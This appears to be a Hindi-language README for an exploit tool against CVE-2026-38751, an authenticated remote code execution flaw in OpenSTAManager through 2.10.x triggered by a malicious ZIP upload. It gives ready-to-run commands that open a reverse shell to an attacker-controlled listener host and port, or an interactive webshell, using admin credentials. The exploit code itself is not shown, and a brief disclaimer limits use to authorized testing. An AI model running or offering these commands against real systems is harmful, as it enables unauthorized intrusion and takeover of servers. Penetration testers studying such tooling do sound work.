CVE-2026-38751 — OpenSTAManager मॉड्यूल अपलोड RCE

मॉड्यूल अपडेट एंडपॉइंट में अमान्य ZIP अपलोड के माध्यम से प्रमाणित RCE।

प्रभावित: OpenSTAManager <= 2.10.x

आवश्यकताएँ

pip install requests

उपयोग

# Reverse shell (Penelope or any listener)
python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444

# Interactive webshell
python3 exploit.py -u http://TARGET -U admin -P admin --interactive

संदर्भ

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

अस्वीकरण

केवल अधिकृत पेनिट्रेशन परीक्षण और शैक्षिक उद्देश्यों के लिए।